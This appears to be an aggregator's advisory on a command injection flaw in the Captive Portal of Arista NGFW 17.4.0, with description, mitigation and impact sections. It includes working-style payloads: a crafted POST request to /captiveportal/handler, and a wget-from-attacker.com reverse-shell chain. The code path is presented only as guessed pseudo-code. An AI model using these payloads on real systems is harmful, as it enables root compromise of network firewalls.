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CVE-2026-25620 is an OS command injection vulnerability that resides within the Captive Portal application framework of Arista Edge Threat Management (Arista NGFW), specifically affecting version 17.4.0. The vulnerability stems from insufficient validation and sanitization of user-supplied input when the application constructs a system command. The core issue involves the “encrypted password” handling mechanism. The application takes an externally influenced piece of data—the password field—and incorporates it directly into an operating system command without neutralizing or incorrectly neutralizing special elements (CWE-78).
The attack vector is remote, requiring the attacker to have authenticated access to the administrative interface with high privileges. An attacker can intercept or manipulate the API request that includes an encrypted password parameter. By injecting a command injection payload within this parameter, such as `$(malicious_command)` or ; id > /tmp/owned, the application will interpret and execute this data as part of the underlying system shell command. This occurs because the vulnerable function fails to escape or filter special characters like backticks, semicolons, or command substitution delimiters before the command is sent to a downstream component.
This flaw was discovered and reported by security researchers Jon Williams and Ronan Kervella from Bishop Fox. The vulnerability is considered medium severity, with a CVSS v3.1 base score of 6.0. The disclosure timeline indicates that initial vulnerability discovery occurred in early December 2025, and a security advisory was published on February 3, 2026. The vendor, Arista Networks, has confirmed that earlier versions are not susceptible. It’s important to note that while the attack requires high privileges and is scored accordingly, a successful exploit allows the attacker to execute arbitrary shell commands as the root user on the appliance, which is a complete compromise of the system.
DailyCVE Form:
Platform: Arista NGFW
Version: 17.4.0
Vulnerability: OS Command Injection
Severity: Medium
Date: 2026-06-05
Prediction: 2026-02-04
What Undercode Say:
Verify vulnerable version /usr/local/untangle/bin/uvm-cli get-version Intercept the password creation/modification POST request to /captiveportal/handler Payload injection point: "encrypted_password" parameter Example payload: test"; id > /tmp/owned; echo "injected
POST /captiveportal/handler HTTP/1.1 Host: target_ngfw_ip:8443 Cookie: JSESSIONID=... Content-Type: application/x-www-form-urlencoded handler=save&encrypted_password=test%22%3B%20id%20%3E%20%2Ftmp%2Fowned%20%3B%20echo%20%22injected
Exploit:
An attacker with administrator access can exploit this vulnerability by injecting operating system commands into the password field. The vulnerable code path likely resembles the following pseudo-code:
String encryptedPassword = request.getParameter("encrypted_password");
String command = "/usr/bin/decrypt_password " + encryptedPassword;
Runtime.getRuntime().exec(command);
The injection occurs because the `encrypted_password` is concatenated directly into the command string. To successfully exploit, an attacker can craft a payload that terminates the intended command and executes a new one. For example:
– Payload: `test”; wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh; echo “cleaned`
This would cause the application to execute `/usr/bin/decrypt_password test` (which fails), then download a reverse shell from the attacker’s server, and finally echo an ending string to mask the error.
Protection:
- Immediate Upgrade: Upgrade the Arista NG Firewall to version 17.4.1, which was released on February 3, 2026, specifically to address this and other vulnerabilities.
- Access Control: Strictly limit and monitor administrative access to the web interface, ensuring that only trusted personnel from secure network segments can log in.
- Web Application Firewall (WAF): Deploy a WAF with rules to detect and block command injection patterns in parameters associated with the Captive Portal application.
- Input Validation: As a temporary workaround, administrators can implement strict regex validation on the password field to reject any non-alphanumeric characters until the upgrade is applied.
Impact:
Successful exploitation of CVE-2026-25620 grants an attacker the ability to execute arbitrary system commands with the highest privileges (root) on the Arista NGFW appliance. This leads to a complete and silent compromise of the firewall, allowing the attacker to:
1. Confidentiality: Read all data passing through the firewall, decrypt VPN traffic, and exfiltrate sensitive configuration files containing password hashes and private keys.
2. Integrity: Modify firewall rules to allow further intrusion, alter logging mechanisms to cover tracks, or install backdoors and rootkits.
3. Availability: Disable the firewall service, causing a network outage, or corrupt the system configuration, rendering the appliance inoperable.
4. Lateral Movement: Use the compromised firewall as a pivot point to attack internal network resources that were previously protected.
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Sources:
Reported By: nvd.nist.gov
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